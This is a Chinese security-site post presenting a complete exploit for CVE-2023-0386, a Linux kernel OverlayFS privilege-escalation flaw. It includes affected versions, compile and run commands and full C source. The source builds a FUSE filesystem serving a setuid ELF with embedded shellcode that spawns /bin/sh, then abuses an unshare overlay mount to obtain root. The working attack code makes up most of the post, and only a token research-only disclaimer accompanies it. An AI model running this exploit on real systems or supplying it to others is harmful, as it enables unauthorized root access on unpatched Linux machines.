探索网络安全新技术
攀登黑客技术最高峰

CVE-2023-0386:Linux Kernel 权限提升漏洞EXP

CVE-2023-0386:Linux Kernel 权限提升漏洞EXP-威武网安

漏洞简介

OverlayFS是一个面向Linux的文件系统服务,其实现一个面向其他文件系统的联合挂载。
Linux内核的OverlayFS子系统中存在漏洞,当用户将一个具有权限的文件从一个nosuid挂载点复制到另一个挂载点时,可能导致未授权访问执行setuid文件,从而导致本地权限提升。
Linux Kernel 权限提升漏洞(CVE-2023-0386)的CVSS评分最高为7.8,已在Linux kernel 6.2-rc6中修复。

影响范围

5.11 <= Linux Kernel < 6.2-rc6

利用条件

可以unshar或可以创建overlay文件系统

编译与执行

gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

CVE-2023-0386:Linux Kernel 权限提升漏洞EXP-威武网安

实测:ubuntu 21.10 内核版本5.13.0-16-generic实测可以完成

CVE-2023-0386 EXP

#define FUSE_USE_VERSION 30

#include 
#include 
#include 
#include 
#include 

static const char *hello_path = "/hello";
const char hello_str[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); // zero-size file
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)
{
    if (strcmp(path, hello_path) != 0) {
        return -ENOENT;
    }

    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) { if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);
    } else {
        size = 0;
    }

    return size;
}

static struct fuse_operations hellofs_oper = {
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};

int main(int argc, char *argv[])
{
    if(argc < 2)
    {
	    printf("./exp dir(dir that you can write and not mount by nosuid)\n");
	    exit(-1);
    }
    char fuse_dir[0x1000];
    strcpy(fuse_dir, argv[1]);
    strcat(fuse_dir, "/testfuse");

    char command[0x1000] = "mkdir ";
    strcat(command, fuse_dir);
    system(command);
    char * fusedir[] = {"exp", fuse_dir};
    if(!fork())
    {
    fuse_main(2,fusedir , &hellofs_oper, NULL);
    }
    
    char up_dir[0x1000];
    strcpy(up_dir, argv[1]);
    strcat(up_dir, "/updir");
    strcpy(command, "mkdir ");
    strcat(command, up_dir);
    system(command);

    char ol_dir[0x1000];
    strcpy(ol_dir, argv[1]);
    strcat(ol_dir, "/overlaydir");
    strcpy(command, "mkdir ");
    strcat(command, ol_dir);
    system(command);

    char work_dir[0x1000];
    strcpy(work_dir, argv[1]);
    strcat(work_dir, "/workdir");
    strcpy(command, "mkdir ");
    strcat(command, work_dir);
    system(command);
    
    //unshare -Urm /bin/sh -c '{ mount -t overlay overlay -o lowerdir=/tmp/testfuse,upperdir=/tmp/updir,workdir=/tmp/workdir /tmp/overlaydir; touch /tmp/overlaydir/hello'; }'
    strcpy(command, "unshare -Urm /bin/sh -c '{ mount -t overlay overlay -o lowerdir=");
    strcat(command, fuse_dir);
    strcat(command, ",upperdir=");
    strcat(command, up_dir);
    strcat(command, ",workdir=");
    strcat(command, work_dir);
    strcat(command, " ");
    strcat(command, ol_dir);
    strcat(command, "; touch ");
    strcat(command, ol_dir);
    strcat(command, "/hello; }'");
    system(command);
    ///tmp/updir/hello
    strcpy(command, up_dir);
    strcat(command, "/hello");
    system(command);
    return 0;
}
赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CVE-2023-0386:Linux Kernel 权限提升漏洞EXP》
文章链接:https://www.wevul.com/736.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册